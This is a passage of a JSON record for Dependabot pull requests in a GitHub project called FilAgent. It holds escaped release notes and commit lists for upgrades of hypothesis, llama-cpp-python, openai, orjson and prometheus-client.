\u0026quot;allow_ellipsis\u0026quot; and\n\u0026quot;allow_newaxis\u0026quot; parameters, excluding \u0026quot;EllipsisType\u0026quot; or \u0026quot;None\u0026quot; from\nthe union when those index types are disabled (issue \u003ca href=\"https://redirect.github.com/HypothesisWorks/hypothesis/issues/4607\"\u003e#4607\u003c/a\u003e).\u003c/p\u003e\n\u003cp\u003eAdditionally, \u0026quot;assume()\u0026quot; now has overloaded type annotations:\n\u0026quot;assume(True)\u0026quot; returns \u0026quot;Literal[True]\u0026quot;, while \u0026quot;assume(False)\u0026quot; and\n\u0026quot;assume(None)\u0026quot; return \u0026quot;NoReturn\u0026quot;.\u003c/p\u003e\n\u003cp\u003e\u003cem\u003e\u003ca href=\"https://hypothesis.readthedocs.io/en/latest/changelog.html#v6-148-4\"\u003eThe canonical version of these notes (with links) is on readthedocs.\u003c/a\u003e\u003c/em\u003e\u003c/p\u003e\n\u003ch2\u003eHypothesis for Python - version 6.148.3\u003c/h2\u003e\n\u003cp\u003eClean up some internal code.\u003c/p\u003e\n\u003cp\u003e\u003cem\u003e\u003ca href=\"https://hypothesis.readthedocs.io/en/latest/changelog.html#v6-148-3\"\u003eThe canonical version of these notes (with links) is on readthedocs.\u003c/a\u003e\u003c/em\u003e\u003c/p\u003e\n\u003ch2\u003eHypothesis for Python - version 6.148.2\u003c/h2\u003e\n\u003cp\u003eDocument \u0026quot;fuzz_one_input()\u0026quot;.\u003c/p\u003e\n\u003cp\u003e\u003cem\u003e\u003ca href=\"https://hypothesis.readthedocs.io/en/latest/changelog.html#v6-148-2\"\u003eThe canonical version of these notes (with links) is on readthedocs.\u003c/a\u003e\u003c/em\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/HypothesisWorks/hypothesis/commit/f1f106b9b1766d39d6d1d543c0523339ed70ad88\"\u003e\u003ccode\u003ef1f106b\u003c/code\u003e\u003c/a\u003e Bump hypothesis-python version to 6.148.7 and update changelog\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/HypothesisWorks/hypothesis/commit/72412fefc8f6c8cc329bf75ed7d2f368e4012622\"\u003e\u003ccode\u003e72412fe\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://redirect.github.com/HypothesisWorks/hypothesis/issues/4612\"\u003e#4612\u003c/a\u003e from Zac-HD/claude/fix-hypothesis-4520-01UQ4jW8HBCjR...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/HypothesisWorks/hypothesis/commit/39220d25905fac8683e5f3211b82d9eb2ebe5d89\"\u003e\u003ccode\u003e39220d2\u003c/code\u003e\u003c/a\u003e reword message\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/HypothesisWorks/hypothesis/commit/1f84ca2b6953fddeca329d6fc196775d6b9e016a\"\u003e\u003ccode\u003e1f84ca2\u003c/code\u003e\u003c/a\u003e simplify\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/HypothesisWorks/hypothesis/commit/57a6607622497e38301b2093bfbc2aad613e3619\"\u003e\u003ccode\u003e57a6607\u003c/code\u003e\u003c/a\u003e Bump hypothesis-python version to 6.148.6 and update changelog\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/HypothesisWorks/hypothesis/commit/a7fbda4fb4d77cd180d531287bec80c422bd7412\"\u003e\u003ccode\u003ea7fbda4\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://redirect.github.com/HypothesisWorks/hypothesis/issues/4507\"\u003e#4507\u003c/a\u003e from Liam-DeVoe/crosshair-event\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/HypothesisWorks/hypothesis/commit/5715090daecbc3e00c74c1d2b922d13e35c0bf90\"\u003e\u003ccode\u003e5715090\u003c/code\u003e\u003c/a\u003e bump crosshair\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/HypothesisWorks/hypothesis/commit/2231eeaa15a12f9eb1b18c5310f63db5cdcd85c7\"\u003e\u003ccode\u003e2231eea\u003c/code\u003e\u003c/a\u003e Merge branch 'master' into crosshair-event\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/HypothesisWorks/hypothesis/commit/831ed067de120910fc6041e133c578778029ab2f\"\u003e\u003ccode\u003e831ed06\u003c/code\u003e\u003c/a\u003e Merge branch 'master' into crosshair-event\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/HypothesisWorks/hypothesis/commit/3605694a68576c4b4adb520a3581d97f30cfce92\"\u003e\u003ccode\u003e3605694\u003c/code\u003e\u003c/a\u003e Bump hypothesis-python version to 6.148.5 and update changelog\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/HypothesisWorks/hypothesis/compare/hypothesis-python-6.148.1...hypothesis-python-6.148.7\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `llama-cpp-python` from 0.2.90 to 0.3.16\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/abetlen/llama-cpp-python/blob/main/CHANGELOG.md\"\u003ellama-cpp-python's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e[0.3.16]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat: Update llama.cpp to ggerganov/llama.cpp@4227c9be4268ac844921b90f31595f81236bd317\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[0.3.15]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat: Update llama.cpp to ggerganov/llama.cpp@9a96389544a08fd829fccda28142ce2066017fde\u003c/li\u003e\n\u003cli\u003efeat: Add gpt-oss chat format support through strftime_now in chat format by \u003ca href=\"https://github.com/iamlemec\"\u003e\u003ccode\u003e@​iamlemec\u003c/code\u003e\u003c/a\u003e in af637928db7351e030011085f818b034c6efc047\u003c/li\u003e\n\u003cli\u003efix: rename op_offloat to op_offload in llama.py by \u003ca href=\"https://github.com/sergey21000\"\u003e\u003ccode\u003e@​sergey21000\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2046\"\u003e#2046\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[0.3.14]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat: Update llama.cpp to ggerganov/llama.cpp@79e0b68c178656bb0632cb8602d2940b755077f8\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[0.3.13]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat: Update llama.cpp to ggerganov/llama.cpp@bdca38376f7e8dd928defe01ce6a16218a64b040\u003c/li\u003e\n\u003cli\u003efix: Better chat format for Qwen2.5-VL by \u003ca href=\"https://github.com/alcoftTAO\"\u003e\u003ccode\u003e@​alcoftTAO\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2040\"\u003e#2040\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[0.3.12]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat: Update llama.cpp to ggerganov/llama.cpp@a0374a67e2924f2e845cdc59dd67d9a44065a89c\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[0.3.11]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efix: Update reference to \u003ccode\u003ellama_kv_cache_clear\u003c/code\u003e in Llama.embed. Closes \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2037\"\u003e#2037\u003c/a\u003e by \u003ca href=\"https://github.com/abetlen\"\u003e\u003ccode\u003e@​abetlen\u003c/code\u003e\u003c/a\u003e in 9e5a4eaa84156084ed7bbb91e6efcc91dc6217bc\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[0.3.10]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat: Update llama.cpp to ggerganov/llama.cpp@8846aace4934ad29651ea61b8c7e3f6b0556e3d2\u003c/li\u003e\n\u003cli\u003efeat: Add support for llama.cpp multimodal, add Qwen2.5-VL chat handler by \u003ca href=\"https://github.com/abetlen\"\u003e\u003ccode\u003e@​abetlen\u003c/code\u003e\u003c/a\u003e in cd548bd0f14210627798237d5c2ea78acfb88ccb\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[0.3.9]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat: Update llama.cpp to ggerganov/llama.cpp@8733e0cf6eefc7c7752297cc22d0836706f4222c\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[0.3.8]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat: Update llama.cpp to ggerganov/llama.cpp@7841fc723e059d1fd9640e5c0ef19050fcc7c698\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[0.3.7]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat: Update llama.cpp to ggerganov/llama.cpp@794fe23f29fb40104975c91fe19f23798f7c726e\u003c/li\u003e\n\u003cli\u003efix(ci): Fix the CUDA workflow by \u003ca href=\"https://github.com/oobabooga\"\u003e\u003ccode\u003e@​oobabooga\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/1894\"\u003e#1894\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: error showing time spent in llama perf context print, adds \u003ccode\u003eno_perf\u003c/code\u003e flag to \u003ccode\u003eLlama\u003c/code\u003e class by \u003ca href=\"https://github.com/shakalaca\"\u003e\u003ccode\u003e@​shakalaca\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/1898\"\u003e#1898\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[0.3.6]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat: Update llama.cpp to ggerganov/llama.cpp@f7cd13301c2a88f97073fd119072b4cc92c08df1\u003c/li\u003e\n\u003cli\u003efix(server): streaming resource lock by \u003ca href=\"https://github.com/gjpower\"\u003e\u003ccode\u003e@​gjpower\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/1879\"\u003e#1879\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/c37132bac860fcc333255c36313f89c4f49d4c8d\"\u003e\u003ccode\u003ec37132b\u003c/code\u003e\u003c/a\u003e chore: Bump version\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/ce6fd8bbc808196dea90dd259bbcd4301c69b0b5\"\u003e\u003ccode\u003ece6fd8b\u003c/code\u003e\u003c/a\u003e feat: Update llama.cpp\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/dfc9bf503bb7d4be166410e525971509373bee0e\"\u003e\u003ccode\u003edfc9bf5\u003c/code\u003e\u003c/a\u003e chore: Bump version\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/30ddd56e827e7fef6d5020809c574bdc0e166196\"\u003e\u003ccode\u003e30ddd56\u003c/code\u003e\u003c/a\u003e fix: rename op_offloat to op_offload in llama.py (\u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2046\"\u003e#2046\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/af637928db7351e030011085f818b034c6efc047\"\u003e\u003ccode\u003eaf63792\u003c/code\u003e\u003c/a\u003e feat: Add gpt-oss chat format support through strftime_now in chat format by ...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/68e89e86c8135e865995d088ca7e5f4a38370c20\"\u003e\u003ccode\u003e68e89e8\u003c/code\u003e\u003c/a\u003e misc: Add Python 3.13 classifier tag\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/d12ca479885bd530abf4543cd576b7eecb1b20e9\"\u003e\u003ccode\u003ed12ca47\u003c/code\u003e\u003c/a\u003e misc: Update pypi downloads badge\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/4f260288ff0f34801f1c2ede975093201c8dcf4c\"\u003e\u003ccode\u003e4f26028\u003c/code\u003e\u003c/a\u003e feat: Update llama.cpp\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/e1af05f43f57d2b660edfb77935dd2d2641ec602\"\u003e\u003ccode\u003ee1af05f\u003c/code\u003e\u003c/a\u003e chore: Bump version\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/95292e36c6cef7430cff0bda16578fe9f7303e01\"\u003e\u003ccode\u003e95292e3\u003c/code\u003e\u003c/a\u003e feat: Update llama.cpp\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/abetlen/llama-cpp-python/compare/v0.2.90...v0.3.16\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `openai` from 2.8.1 to 2.9.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/openai/openai-python/releases\"\u003eopenai's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev2.9.0\u003c/h2\u003e\n\u003ch2\u003e2.9.0 (2025-12-04)\u003c/h2\u003e\n\u003cp\u003eFull Changelog: \u003ca href=\"https://github.com/openai/openai-python/compare/v2.8.1...v2.9.0\"\u003ev2.8.1...v2.9.0\u003c/a\u003e\u003c/p\u003e\n\u003ch3\u003eFeatures\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eapi:\u003c/strong\u003e gpt-5.1-codex-max and responses/compact (\u003ca href=\"https://github.com/openai/openai-python/commit/22f646e985b7c93782cf695edbe643844cae7017\"\u003e22f646e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eBug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eclient:\u003c/strong\u003e avoid mutating user-provided response config object (\u003ca href=\"https://redirect.github.com/openai/openai-python/issues/2700\"\u003e#2700\u003c/a\u003e) (\u003ca href=\"https://github.com/openai/openai-python/commit/e040d22c2df068e908f69dc6b892e7f8b3fe6e99\"\u003ee040d22\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eensure streams are always closed (\u003ca href=\"https://github.com/openai/openai-python/commit/0b1a27f08639d14dfe40bf80b48e2b8a1a51593c\"\u003e0b1a27f\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003estreaming:\u003c/strong\u003e correct indentation (\u003ca href=\"https://github.com/openai/openai-python/commit/575bbac13b3a57731a4e07b67636ae94463d43fa\"\u003e575bbac\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eChores\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003edeps:\u003c/strong\u003e mypy 1.18.1 has a regression, pin to 1.17 (\u003ca href=\"https://github.com/openai/openai-python/commit/22cd586dbd5484b47f625da55db697691116b22b\"\u003e22cd586\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003edocs:\u003c/strong\u003e use environment variables for authentication in code snippets (\u003ca href=\"https://github.com/openai/openai-python/commit/c2a3cd502bfb03f68f62f50aed15a40458c0996e\"\u003ec2a3cd5\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003einternal:\u003c/strong\u003e codegen related update (\u003ca href=\"https://github.com/openai/openai-python/commit/307a0664383b9d1d4151bc1a05a78c4fdcdcc9b0\"\u003e307a066\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eupdate lockfile (\u003ca href=\"https://github.com/openai/openai-python/commit/b4109c5fcf971ccfb25b4bdaef0bf36999f9eca5\"\u003eb4109c5\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/openai/openai-python/blob/main/CHANGELOG.md\"\u003eopenai's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e2.9.0 (2025-12-04)\u003c/h2\u003e\n\u003cp\u003eFull Changelog: \u003ca href=\"https://github.com/openai/openai-python/compare/v2.8.1...v2.9.0\"\u003ev2.8.1...v2.9.0\u003c/a\u003e\u003c/p\u003e\n\u003ch3\u003eFeatures\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eapi:\u003c/strong\u003e gpt-5.1-codex-max and responses/compact (\u003ca href=\"https://github.com/openai/openai-python/commit/22f646e985b7c93782cf695edbe643844cae7017\"\u003e22f646e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eBug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eclient:\u003c/strong\u003e avoid mutating user-provided response config object (\u003ca href=\"https://redirect.github.com/openai/openai-python/issues/2700\"\u003e#2700\u003c/a\u003e) (\u003ca href=\"https://github.com/openai/openai-python/commit/e040d22c2df068e908f69dc6b892e7f8b3fe6e99\"\u003ee040d22\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eensure streams are always closed (\u003ca href=\"https://github.com/openai/openai-python/commit/0b1a27f08639d14dfe40bf80b48e2b8a1a51593c\"\u003e0b1a27f\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003estreaming:\u003c/strong\u003e correct indentation (\u003ca href=\"https://github.com/openai/openai-python/commit/575bbac13b3a57731a4e07b67636ae94463d43fa\"\u003e575bbac\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eChores\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003edeps:\u003c/strong\u003e mypy 1.18.1 has a regression, pin to 1.17 (\u003ca href=\"https://github.com/openai/openai-python/commit/22cd586dbd5484b47f625da55db697691116b22b\"\u003e22cd586\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003edocs:\u003c/strong\u003e use environment variables for authentication in code snippets (\u003ca href=\"https://github.com/openai/openai-python/commit/c2a3cd502bfb03f68f62f50aed15a40458c0996e\"\u003ec2a3cd5\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003einternal:\u003c/strong\u003e codegen related update (\u003ca href=\"https://github.com/openai/openai-python/commit/307a0664383b9d1d4151bc1a05a78c4fdcdcc9b0\"\u003e307a066\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eupdate lockfile (\u003ca href=\"https://github.com/openai/openai-python/commit/b4109c5fcf971ccfb25b4bdaef0bf36999f9eca5\"\u003eb4109c5\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/openai/openai-python/commit/dc7602151b9042891ccd5042c7be3881337368e5\"\u003e\u003ccode\u003edc76021\u003c/code\u003e\u003c/a\u003e release: 2.9.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/openai/openai-python/commit/f45b3c3bcd7d3d40898230b8d592408bb208268a\"\u003e\u003ccode\u003ef45b3c3\u003c/code\u003e\u003c/a\u003e fix bad merge\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/openai/openai-python/commit/96b9e700cef2ea78d7fb37b9a469af5af152279b\"\u003e\u003ccode\u003e96b9e70\u003c/code\u003e\u003c/a\u003e manually readd\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/openai/openai-python/commit/61841f4a18d5739ee84c9c6d1aba473e05bf1bc1\"\u003e\u003ccode\u003e61841f4\u003c/code\u003e\u003c/a\u003e fix import\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/openai/openai-python/commit/1039d5637779e035263019a687b562d3ab5d2c1a\"\u003e\u003ccode\u003e1039d56\u003c/code\u003e\u003c/a\u003e feat(api): gpt-5.1-codex-max and responses/compact\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/openai/openai-python/commit/bd988473f60e28c1ea13c9cc26d6e0b063df02b8\"\u003e\u003ccode\u003ebd98847\u003c/code\u003e\u003c/a\u003e chore(docs): use environment variables for authentication in code snippets\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/openai/openai-python/commit/abc2596652b23318b8b5e7388b7d66fc161f817f\"\u003e\u003ccode\u003eabc2596\u003c/code\u003e\u003c/a\u003e fix(streaming): correct indentation\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/openai/openai-python/commit/c3c607a2e2abc572bde6220e71921bf8a55949ab\"\u003e\u003ccode\u003ec3c607a\u003c/code\u003e\u003c/a\u003e chore: update lockfile\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/openai/openai-python/commit/1e7eae9e766c7479507469d7ebaabba13a4fcad5\"\u003e\u003ccode\u003e1e7eae9\u003c/code\u003e\u003c/a\u003e chore(deps): mypy 1.18.1 has a regression, pin to 1.17\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/openai/openai-python/commit/f6552d762e3aec145c49428913a1b9333e4b6be3\"\u003e\u003ccode\u003ef6552d7\u003c/code\u003e\u003c/a\u003e fix: ensure streams are always closed\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/openai/openai-python/compare/v2.8.1...v2.9.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `orjson` from 3.11.4 to 3.11.5\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/ijl/orjson/releases\"\u003eorjson's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e3.11.5\u003c/h2\u003e\n\u003ch3\u003eChanged\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eShow simple error message instead of traceback when attempting to\nbuild on unsupported Python versions.\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/ijl/orjson/blob/master/CHANGELOG.md\"\u003eorjson's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e3.11.5 - 2025-12-06\u003c/h2\u003e\n\u003ch3\u003eChanged\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eShow simple error message instead of traceback when attempting to\nbuild on unsupported Python versions.\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ijl/orjson/commit/fb3eb1f729c7e7b019f780af5695722c99c7c695\"\u003e\u003ccode\u003efb3eb1f\u003c/code\u003e\u003c/a\u003e 3.11.5\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ijl/orjson/commit/52688e02c51c845cde24a46cd1011a6010d10eb8\"\u003e\u003ccode\u003e52688e0\u003c/code\u003e\u003c/a\u003e Record contributors in headers\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ijl/orjson/commit/dc083e87d5262e7dde3ba4b1d2a377b5b065a27c\"\u003e\u003ccode\u003edc083e8\u003c/code\u003e\u003c/a\u003e Further compatibility and build misc\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ijl/orjson/commit/18f0186d47fbadd53c9db4e39a442d5b04225418\"\u003e\u003ccode\u003e18f0186\u003c/code\u003e\u003c/a\u003e Compatibility and build misc\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/ijl/orjson/compare/3.11.4...3.11.5\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `prometheus-client` from 0.20.0 to 0.23.1\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/prometheus/client_python/releases\"\u003eprometheus-client's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev0.23.1\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efix: use tuples instead of packaging Version by \u003ca href=\"https://github.com/efiop\"\u003e\u003ccode\u003e@​efiop\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/prometheus/client_python/pull/1136\"\u003eprometheus/client_python#1136\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eNew Contributors\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/efiop\"\u003e\u003ccode\u003e@​efiop\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/prometheus/client_python/pull/1136\"\u003eprometheus/client_python#1136\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/prometheus/client_python/compare/v0.23.0...v0.23.1\"\u003ehttps://github.com/prometheus/client_python/compare/v0.23.0...v0.23.1\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003ev0.23.0\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eUTF-8 Content Negotiation by \u003ca href=\"https://github.com/ywwg\"\u003e\u003ccode\u003e@​ywwg\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/prometheus/client_python/pull/1102\"\u003eprometheus/client_python#1102\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eRe include test data by \u003ca href=\"https://github.com/mgorny\"\u003e\u003ccode\u003e@​mgorny\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/prometheus/client_python/pull/1113\"\u003eprometheus/client_python#1113\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eImprove parser performance by \u003ca href=\"https://github.com/csmarchbanks\"\u003e\u003ccode\u003e@​csmarchbanks\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/prometheus/client_python/pull/1117\"\u003eprometheus/client_python#1117\u003c/a\u003e\u003c/li\u003e\n\u003cli...\n\n_Description has been truncated_","html_url":"https://github.com/fil04331/FilAgent/pull/213","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/fil04331%2FFilAgent/issues/213","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/213/packages"},{"uuid":"3659418915","node_id":"PR_kwDOQJdjYc61Og46","number":188,"state":"open","title":"chore(deps): Bump the python-minor group across 1 directory with 27 updates","user":"dependabot[bot]","labels":[],"assignees":[],"locked":false,"comments_count":1,"pull_request":true,"closed_at":null,"author_association":null,"state_reason":null,"created_at":"2025-11-24T15:31:02.000Z","updated_at":"2025-11-24T15:35:24.000Z","time_to_close":null,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"chore(deps): 